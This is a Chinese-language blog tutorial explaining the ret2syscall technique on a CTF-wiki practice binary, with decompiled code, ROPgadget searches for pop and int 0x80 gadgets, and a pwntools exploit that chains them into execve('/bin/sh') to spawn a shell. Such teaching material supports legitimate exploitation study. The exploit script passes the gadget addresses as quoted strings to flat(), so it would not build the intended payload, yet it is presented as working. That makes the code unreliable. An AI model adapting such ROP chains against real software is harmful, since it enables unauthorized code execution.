栈溢出③-ret2syscall

发布于 2022-12-06  150 次阅读


author:bilala

0x00 前言

ret2syscall中接触到了gadget,学过web的都不陌生了,就是一条利用链,不了解的可以自行搜索。

0x01 ret2syscall原理

关于系统调用已经在上篇中有介绍了,并且经过上两篇的学习,我们已经知道栈溢出可以从子函数覆盖到父函数处的栈帧,之前两篇都是只覆盖到ret返回地址为止,实际上我们可以继续往上覆盖,从而实现gadgets控制,借用狼组里的图,算是画的很清楚了

image-20221206113748853

0x02 例题分析

这里要补充一点,在二进制基础学习②中,我们使用的是execve('/bin/sh', ['/bin/sh', NULL], NULL),实际上execve('/bin/sh',NULL,NULL)就可以调用到shell了,自己可以改当时的shell.asm然后重新编译就知道了。

例题使用的还是wiki中的,先查看保护

image-20221206115256539

就开了个NX,不影响我们栈溢出,查看程序main逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  ((void (__cdecl *)(void *, _DWORD, int, _DWORD))setvbuf)(stdout, 0, 2, 0);
  ((void (__cdecl *)(void *, _DWORD, int, _DWORD))setvbuf)(stdin, 0, 1, 0);
  ((void (__cdecl *)(const char *))puts)("This time, no system() and NO SHELLCODE!!!");
  ((void (__cdecl *)(const char *))puts)("What do you plan to do?");
  ((void (__cdecl *)(int *))gets)(&v4);
  return 0;
}

也是一个经典的gets()函数,在刚刚的原理图中,我们知道ret返回地址处需要填入pop eax的地址,并且在pop eax后还得有一个ret指令回到栈帧继续执行,这里可以利用ROPgadget工具

ROPgadget --binary ret2syscall --only 'pop|ret' | grep eax

image-20221206202243755

这里的第二个0x080bb196很适合我们的需求,接下来继续寻找pop ebx

image-20221206204759306

在箭头所指处,正好还有我们接下来需要的pop ecx pop edx

剩下我们还需要/bin/sh字符串的地址

image-20221206212524357

最后还需要int 0x80软中断指令

image-20221206212614307

有了以上所有信息后,即可编写exp(栈溢出的偏移量和之前一样的计算方法)

from pwn import *

sh = process('./ret2syscall')
binsh_addr = "0x080be408"
int_addr = "0x08049421"
pop_ebcdx_addr = "0x0806eb90"
pop_eax_addr = "0x080bb196"

payload = flat(['a'*112 , pop_eax_addr , 0xb , pop_ebcdx_addr , 0, 0, binsh_addr, int_addr])
sh.send(payload)
sh.interactive()

pwntools中的flat函数可以让我们省去b''p32等操作

0x03 结语

这部分主要就是链式调用,其实前两篇都懂的话这篇很轻松,尤其0x01中的图诠释的很清楚了,这里也不多介绍了